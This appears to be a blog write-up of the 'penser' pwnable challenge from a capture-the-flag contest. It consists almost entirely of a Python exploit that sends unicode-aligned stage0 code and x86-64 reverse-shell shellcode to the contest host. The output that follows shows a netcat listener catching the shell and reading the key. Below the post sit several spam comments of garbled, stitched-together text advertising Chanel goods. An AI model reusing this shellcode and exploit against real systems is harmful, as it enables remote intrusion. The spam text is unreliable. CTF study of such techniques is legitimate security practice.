Blog | Tag | Local | Media | Guest | Login  RSS

Category : Pwnable (\xff\xe4\xcc)


penser


Summary : unicode shellcode, overwrite below byte


Exploit

#!/usr/bin/python


from socket import *

from struct import pack

import time


HOST = "penser.shallweplayaga.me"

PORT = 8273


"""

51 # push %rcx

00 45 00 # align

59 # pop %rcx

00 45 00

52 # push %rdx

00 45 00

58 # pop %rax

00 45 00

32 00 # xor (%rax), %al

50 # push %rax

00 45 00

5a # pop %rdx

00 45 00

59 # pop %rcx

00 45 00

59 # pop %rcx

00 45 00

59 # pop %rcx

00 45 00

59 # pop %rcx

00 0a # add    %cl,(%rdx)          

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 4b 00 #### will be replaced

"""

stage0 = "\x51\x45\x59\x45\x52\x45\x58\x45\x32\x50\x45\x5a\x45\x59\x45\x59\x45\x59\x45\x59\x0a\x45\x58\x45\x50\x45\x58\x45\x50\x45\x58\x45\x50\x45\x58\x45\x50\x45\x58\x45\x50\x4b\x00\x00"


shellcode = "\x90"*0x100 +\

"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97" +\

"\x48\xb9\x02\x00\x7a\x69\x00\x00\x00\x00\x51\x48\x89\xe6" +\

"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce" +\

"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f" +\

"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48" +\

"\x89\xe6\x0f\x05"


s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

s.send("\xc3\x02\x00\x00")

time.sleep(0.5)

s.send(stage0+shellcode)

time.sleep(0.5)

s.close()




root@ubuntu:~# ./exploit.py


--------------------------------------------------------------


root@ubuntu:~# nc -lv 31337

Connection from 54.226.204.186 port 31337 [tcp/*] accepted

id

uid=1001(penser) gid=1001(penser) groups=1001(penser)

cat key

The key is: TBDHelloooookdkdkiekdiekdiek 


저작자 표시
신고

Chanel Flats| 2014.02.25 12:02 신고 | PERMALINK | EDIT/DEL | REPLY
습드For p2 were achieved

I made 2 batches and revised the 2nd after making and tasting the 1st. I agree with everyone that says you must measure the red grapes to 1 pound (1+ bags of fresh red grapes. I made the 1st batch specifically per the recipe. dental salon without degree,Chanel Rain Boots, And agreement is easy merely do the about lifetime, this way project for the bags beneath vision, Merel법의
Chanel Boots| 2014.02.25 12:05 신고 | PERMALINK | EDIT/DEL | REPLY
니마amazon and ebay stores sell vera bradley bags,Chanel Rain Boots

FDA standards are very strict when it is about food safety,Chanel Jelly Sandals, And fridges serve several purposes that maintain those standards. Besides simply keeping foods fresh and arranged, Refrigerating foods helps to keep them from producing bacteria, which enable it to hinder crosscontamination. Good commercial wine cooler적기
Chanel Sneakers| 2014.02.25 12:07 신고 | PERMALINK | EDIT/DEL | REPLY
에지51 am along april 17

almost nothing will destroy photographic images faster than moisture and acidity. without the right protection and the correct kind of archival storage boxes, Water molecules will combine with acids contained in a wide variety of airborne pollutants to destroy the chemical dyes and photographic paper upon which your image is printed. Clear bags which are also used to store 가던
Chanel Outlet| 2014.02.25 12:10 신고 | PERMALINK | EDIT/DEL | REPLY
어습A subpar bag typically have longer

Laptop bags for women were never as popular as they are now. Girls usually love small and highly regarded bags. you must, Girls with very important positions in their companies or the executives were the only ones obliged to wear them. Once you start being attentive to wine, noted to discover its exciting variety. A chardonnay is actually a chardonnay is known마일
Chanel Rain Boots| 2014.02.25 15:31 신고 | PERMALINK | EDIT/DEL | REPLY
마지Add a minute every your tea leaves steep

Cereplast estimates that the total addressable promote for compostable blown film grades in Italy exceeds $500 million. Currently there are 4 legitimate competitors who produce compostable blown film that are predominantly based in Europe,Chanel, Each varying in size from just about $5 to $120 million in revenue. Based on current ethnic background, Curre있지
Name
Password
Homepage
비밀글 (Secret)

티스토리 툴바